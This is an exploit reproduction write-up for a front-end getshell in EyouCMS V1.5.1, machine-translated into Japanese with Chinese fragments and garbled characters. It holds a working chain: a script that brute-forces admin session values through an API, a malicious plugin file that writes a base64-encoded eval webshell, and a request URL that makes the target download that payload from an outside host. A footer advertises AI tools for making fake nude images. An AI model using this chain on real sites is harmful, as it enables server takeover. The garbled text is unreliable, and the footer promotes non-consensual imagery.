0x00 脆弱性の紹介
Zanzan Network Technology EyouCMS (EyouCMS) は、中國 Zanzan Network Technology Company System ( CMS)。
Eyoucms v1.5.1 およびそれ以前のバージョンには、任意のユーザー バックグラウンド ログインとファイル インクルードの脆弱性があります。この脆弱性により、攻撃者は API を呼び出して管理者のセッションをフォアグラウンドに設(shè)定し、バックグラウンドでリモート プラグイン ダウンロード ファイルをダウンロードすることができます。 getshell が含まれています。
#0x01 影響を受けるバージョン
EyouCMS
0x02 環(huán)境セットアップ
ダウンロード公式 Web サイト ダウンロード バージョン V1.5.1
ダウンロード リンク: https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip
phpstudy 統(tǒng)合環(huán)境による簡単な導(dǎo)入
##フロントデスクで application/api/controller に管理者セッションを設(shè)定します/Ajax.php :215
##get_token
関數(shù)はフロント デスクが自由に呼び出すことができ、#仮パラメータの
##$name
このセッション設(shè)定操作を通じて、バックグラウンド管理者のセッションの構(gòu)築を試みることができます。次に、バックグラウンド管理者のログイン ロジックを整理します。 application/admin/controller/Base.php:54
if?(session('?admin_id')?&&?getTime()?-?intval($admin_login_expire)?< $web_login_expiretime)

# の 2 つのセッションが関係しています。 ## (このセッションは減算検証を?qū)g行し、特定の條件を満たす必要があります)
admin_id
(このセッションは存在するだけでよく、その値は)
これら 2 つのセッションを設(shè)定した後も、if 條件の判定にcheck_priv
関數(shù)があることがわかります。
<pre class="brush:php;toolbar:false">if (0 >=?intval(session('admin_info.role_id')))</pre>admin_info.role_id<p><br><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488398297.jpg" class="lazy" alt="如何進(jìn)行EyouCMS V1.5.1 前臺getshell漏洞復(fù)現(xiàn)">(0 以下であれば十分です)</p>After 3 つのセッションをセットアップすると、バックグラウンドに入ることができます。図に示すように: <p><code>
. 次に、ホストが eyoucms.com である必要がある URL 解析を?qū)g行します。 つまり、プログラムは公式 Web サイトからのプラグインのダウンロードとインストールに制限されていますが、この検証は単純すぎるためバイパスできる可能性があります。
後から行うプラグイン標(biāo)準(zhǔn)の判定は機(jī)能しなくなります。
0x04 脆弱性の悪用
フロント デスクで管理者セッションを設(shè)定する
まず、ログインに成功した後の管理者セッションと、ログインに成功した一般ユーザー セッションを削除します。ログインしていません 比較用管理者:
一般ユーザー:get_token 関數(shù)を呼び出して、admin_login_expire という名前のセッションを設(shè)定します
通常ユーザーのセッションが正常にセットアップされていることを確認(rèn)してください。
しかし、この md5 文字列は明らかに脆弱性分析の要件を満たしていないため、適切な md5 値が見つかるまでセッションはスクリプトによって常に更新されます
while?1?: ????admin_login_expire?=?api_psot("admin_login_expire") ????num_10?=?admin_login_expire[2:12] ????if?is_number(num_10): ????????print("admin_login_expire=",num_10) ????????break while?1?: ????role_id?=?api_psot("admin_info.role_id") ????num_1?=?role_id[2:3] ????if?num_1?in?["a","b","c","d","e","f"]: ????????print("role_id=",num_1) ????????break admin_id?=?api_psot("admin_id") print("admin_id=",admin_id[2:-1])
実行結(jié)果:
session:
再經(jīng)過application/admin/controller/Base.php:58和:106的intval()的轉(zhuǎn)換:
成功使用該P(yáng)HPSESSID進(jìn)入后臺:
后臺遠(yuǎn)程插件下載文件包含getshell
然后開始制作惡意壓縮包,文件目錄結(jié)構(gòu)如下:
weappp\weapp\test\config.php
config.php
文件內(nèi)容為寫入webshell
<?php file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4=")); ?>
壓縮成weappp.zip,修改后綴為jpg
到eyoucms.com官網(wǎng)尋找圖片上傳點(diǎn)
比如這個(gè)提問模塊的問題描述:
https://www.eyoucms.com/ask/
獲取到上傳的圖片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在瀏覽器中請求下載該插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
此時(shí)webshell已成功寫入:
訪問webshell:
0x05 修復(fù)建議
升級EyouCMS至V1.5.2或以后版本。
以上がEyouCMS V1.5.1 フロントエンド getshell 脆弱性を再現(xiàn)する方法の詳細(xì)內(nèi)容です。詳細(xì)については、PHP 中國語 Web サイトの他の関連記事を參照してください。

ホットAIツール

Undress AI Tool
脫衣畫像を無料で

Undresser.AI Undress
リアルなヌード寫真を作成する AI 搭載アプリ

AI Clothes Remover
寫真から衣服を削除するオンライン AI ツール。

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中國語版
中國語版、とても使いやすい

ゼンドスタジオ 13.0.1
強(qiáng)力な PHP 統(tǒng)合開発環(huán)境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)